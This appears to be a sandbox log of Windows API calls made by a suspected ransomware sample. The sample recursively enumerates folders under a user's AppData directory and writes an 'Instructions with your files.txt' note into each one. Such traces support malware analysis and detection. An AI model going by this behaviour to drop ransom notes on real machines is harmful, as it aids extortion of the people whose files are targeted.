[0128.265] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0128.265] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0128.265] CloseHandle (hObject=0x11c) returned 1
[0128.265] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0128.265] GetProcessHeap () returned 0x810000
[0128.265] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0128.265] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
[0128.265] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Instructions with your files.txt") returned 92
[0128.265] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0128.266] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0128.266] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0128.266] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0128.267] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0128.267] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0128.267] CloseHandle (hObject=0x118) returned 1
[0128.267] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0128.268] GetProcessHeap () returned 0x810000
[0128.268] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x856bd0 | out: hHeap=0x810000) returned 1
[0128.268] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0
[0128.268] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Instructions with your files.txt") returned 86
[0128.268] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0128.268] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0128.269] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0128.269] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0128.269] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0128.269] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0128.269] CloseHandle (hObject=0x114) returned 1
[0128.270] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0128.270] GetProcessHeap () returned 0x810000
[0128.270] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0128.270] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
[0128.270] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned 64
[0128.270] GetProcessHeap () returned 0x810000
[0128.270] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0128.271] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*") returned 66
[0128.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="Ȭ癙찐\x8a翿")) returned 0xffffffff
[0128.271] GetProcessHeap () returned 0x810000
[0128.271] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0128.271] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
[0128.271] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned 52
[0128.271] GetProcessHeap () returned 0x810000
[0128.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0128.271] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*") returned 54
[0128.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0128.271] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\.") returned 54
[0128.271] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.271] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\..") returned 55
[0128.271] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
[0128.271] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned 56
[0128.271] GetProcessHeap () returned 0x810000
[0128.271] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8cdc28
[0128.272] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*") returned 58
[0128.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0128.273] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\.") returned 58
[0128.273] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.273] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\..") returned 59
[0128.273] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
[0128.273] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned 61
[0128.273] GetProcessHeap () returned 0x810000
[0128.273] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0128.273] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*") returned 63
[0128.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0128.276] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\.") returned 63
[0128.276] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.276] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\..") returned 64
[0128.276] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1
[0128.276] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned 74
[0128.276] GetProcessHeap () returned 0x810000
[0128.276] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x856bd0
[0128.276] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*") returned 76
[0128.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0128.276] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\.") returned 76
[0128.276] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.276] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\..") returned 77
[0128.276] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1
[0128.277] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ") returned 87
[0128.277] GetProcessHeap () returned 0x810000
[0128.277] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dec38
[0128.277] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*") returned 89
[0128.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.277] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\.") returned 89
[0128.277] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.278] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\..") returned 90
[0128.278] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
[0128.278] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned 142
[0128.278] GetProcessHeap () returned 0x810000
[0128.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8efc48
[0128.278] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*") returned 144
[0128.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0128.301] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\.") returned 144
[0128.301] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.301] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\..") returned 145
[0128.301] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
